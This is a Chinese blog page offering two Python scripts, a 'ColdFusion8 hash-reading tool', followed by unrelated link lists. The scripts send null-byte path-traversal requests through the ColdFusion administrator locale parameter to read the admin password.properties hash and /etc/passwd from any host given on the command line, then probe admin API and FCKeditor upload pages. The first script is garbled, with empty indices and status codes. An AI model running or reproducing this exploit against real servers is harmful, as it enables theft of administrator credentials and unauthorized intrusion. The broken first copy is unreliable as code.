Coldfusion8 读取HASH工具

#!/usr/bin/env python

#-*- coding:utf- -*-

import sys

import threading

import urllib

import httplib

class Mythread(threading.Thread):

        def __init__(self,host):

            threading.Thread.__init__(self)

            self.host = host

        def run(self):

            urls = ['/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\..\etc\passwd%00en',

                '/CFIDE/administrator/enter.cfm?locale=..\..\etc\passwd%00en']

            try:

                for path in urls:

                    out = urllib.urlopen(self.host + path).read().split(r'</title>')[].split(r'<title>')[].replace(r'rdspassword=', '\n').replace(r'encrypted=true', '\n')

                    print out

            except Exception:

                print "Error connect time"

            self.scanner()

        def scanner(self):

            #self.host = host

            cfmfck = ['/CFIDE/adminapi/_datasource/formatjdbcurl.cfm',

            '/CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm',

            '/CFIDE/adminapi/_datasource/geturldefaults.cfm',

            '/CFIDE/adminapi/_datasource/setdsn.cfm',

            '/CFIDE/adminapi/_datasource/setmsaccessregistry.cfm',

            '/CFIDE/adminapi/_datasource/setsldatasource.cfm',

            '/CFIDE/adminapi/customtags/l10n.cfm',

            '/CFIDE/debug/cf_debugFr.cfm',

            '/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm']

            i_headers = {"User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5","Accept": "text/plain"}

            for fckpath in cfmfck:

                if self.host[:] == "https://":

                    conn = httplib.HTTPSConnection(self.host.replace("https://",""))

                else:

                    conn = httplib.HTTPConnection(self.host.replace("http://",""))

                conn.request('GET',fckpath,headers = i_headers)

                r1 = conn.getresponse()

                if r1.status ==  or r1.status ==  or r1.status == :

                    print self.host + fckpath + "   " + str(r1.status)

if __name__ == "__main__":

    Mythread(sys.argv[]).start()

#!/usr/bin/env python

# -*- coding: utf8 -*-

import sys , urllib , httplib , subprocess

def banner():

    print """

#--------------------------------------------------#

#       Welcome to www.90sec.org                   #

#        THis is read ColdFusion sha1 Tool         #

#       python COldFusion.py www.WebSite.cn        #

#--------------------------------------------------#

"""

urls = ['/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\CFusionMX7\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\JRun4\servers\cfusion\cfusion-ear\cfusion-war\WEB-INF\cfusion\lib\password.properties%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\lib\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\ColdFusion8\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\..\etc\passwd%00en',

       '/CFIDE/administrator/enter.cfm?locale=..\..\etc\passwd%00en']

cfmfck = ['/CFIDE/adminapi/_datasource/formatjdbcurl.cfm','/CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm','/CFIDE/adminapi/_datasource/geturldefaults.cfm','/CFIDE/adminapi/_datasource/setdsn.cfm','/CFIDE/adminapi/_datasource/setmsaccessregistry.cfm','/CFIDE/adminapi/_datasource/setsldatasource.cfm','/CFIDE/adminapi/customtags/l10n.cfm','/CFIDE/debug/cf_debugFr.cfm','/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm']

try:

    host = sys.argv[1]

    if len(host) < '':

        banner()

    for url in urls:

        context = urllib.urlopen(host + url).read()

        out = context.split(r'</title>')[0].split(r'<title>')[1].replace(r'rdspassword=', '\n').replace(r'encrypted=true', '\n')

        print out

except Exception:

    banner()

    sys.exit()

else:

      for line in cfmfck:

            host = host.replace("http://","")

            line = line.replace("\n","")

            line = "/" + line

            website = host + line

            connection = httplib.HTTPConnection(host)

            connection.request("GET",line)

            response = connection.getresponse()

            if response.status == 200:

                  print website , ''

            elif response.status == 403:

                  print website , ''

            elif response.status == 500:

              print website , 'server ERROR'

Coldfusion8 读取HASH工具的更多相关文章

Redis操作Hash工具类封装，Redis工具类封装
Redis操作Hash工具类封装,Redis工具类封装 >>>>>>>>>>>>>>>>>> ...
Hash工具下载地址
因为经常要在非常用电脑使用,这里放一个链接,方便下载: http://files.cnblogs.com/files/cxun/Hash.zip HASH计算工具,可计算MD5.SHA-1.CRC32 ...
POI读取excel工具类返回实体bean集合(xls,xlsx通用)
本文举个简单的实例读取上图的 excel文件到 List<User>集合首先导入POi 相关 jar包在pom.xml 加入  <depe ...
.NET Core 常用加密和Hash工具NETCore.Encrypt
前言在日常开发过程中,不可避免的涉及到数据加密解密(Hash)操作,所以就有想法开发通用工具,NETCore.Encrypt就诞生了.目前NETCore.Encrypt只支持.NET Core ,工 ...
poi读取excel工具类
package com.manage.utils; import ch.qos.logback.core.net.SyslogOutputStream; import com.google.gson. ...
读取配置文件工具demo
//读取配置文件public class ResourcesUtils { /* * @description:根据属性获取文件名 * * @param:propertyName文件的属性名 * * ...
【工具】读取proprtties工具类
获取properties内容: 基本的使用看网络上大多是这样的,使用时注意线程安全以及读写的实时性问题. 1.直接通过流读取(反射): InputStream inStream = this.get ...
meterpreter读取hash明文记录
今天测试某个站点时读hash老出错这里做下读hash的笔记进去meterpreter后getuid一 1 2 meterpreter > getuid Server username: NT ...
PropertiesUtil 读取配置文件工具类
package org.konghao.basic.util; import java.io.FileInputStream; import java.io.FileNotFoundException ...

随机推荐

【BZOJ4259】残缺的字符串 FFT
[BZOJ4259]残缺的字符串 Description 很久很久以前,在你刚刚学习字符串匹配的时候,有两个仅包含小写字母的字符串A和B,其中A串长度为m,B串长度为n.可当你现在再次碰到这两个串时, ...
本地代码推送到github仓库
git 初始化 cd 到需要提交的项目目录下,执行git init 配置用户名和邮箱 git config --global user.name "codingID" git co ...
下载flv格式视频
我们再看flash plaer播放视频时,有些时候需要下载,无奈找不到下载的按钮.这时,我们可以用以下的方式来进行下载. 其它格式估计也是有迹可循,大家仔细看看网页源代码,看到类似于这种地址,看到有相 ...
VC中获取窗口句柄的各种方法
AfxGetMainWndAfxGetMainWnd获取自身窗口句柄HWND hWnd = AfxGetMainWnd()->m_hWnd; GetTopWindow函数功能:该函数检查与特定父 ...
ubuntu微信
方法1 – 使用Snap来安装微信依次在terminal 执行一下命令 sudo apt install snapd snapd-xdg-open sudo snap install electro ...
Spring 框架的AOP之注解的方式
1. 环境搭建 1.1 导入 jar 包 Spring 框架的基本开发包(6个); Spring 的传统AOP的开发包 spring-aop-4.3.10.RELEASE org.aopallianc ...
2015-03-22——js常用的String方法
String string.charAt(pos); //返回字符串中pos位置处的字符.如果pos小于0或大于等于string.length返回空字符串.模拟实现:Function.prototy ...
在MyEclipse中改了项目名称，到tomcat的webroot下发现，部署的名称还是原来的。
在MyEclipse中改了项目名称,到tomcat的webroot下发现,部署的名称还是原来的. 解决方法:选中项目名称右键properties,展开Myeclipse,选择web,web Conte ...
Python 爬虫学习一
# coding: utf8 import requests from bs4 import BeautifulSoup PhotoName = 1 DATA = [] def save_img(ur ...
深入理解CNI
1.为什么会有CNI? CNI是Container Network Interface的缩写,简单地说,就是一个标准的,通用的接口.已知我们现在有各种各样的容器平台:docker,kubernetes ...

Coldfusion8 读取HASH工具

Coldfusion8 读取HASH工具的更多相关文章

随机推荐

热门专题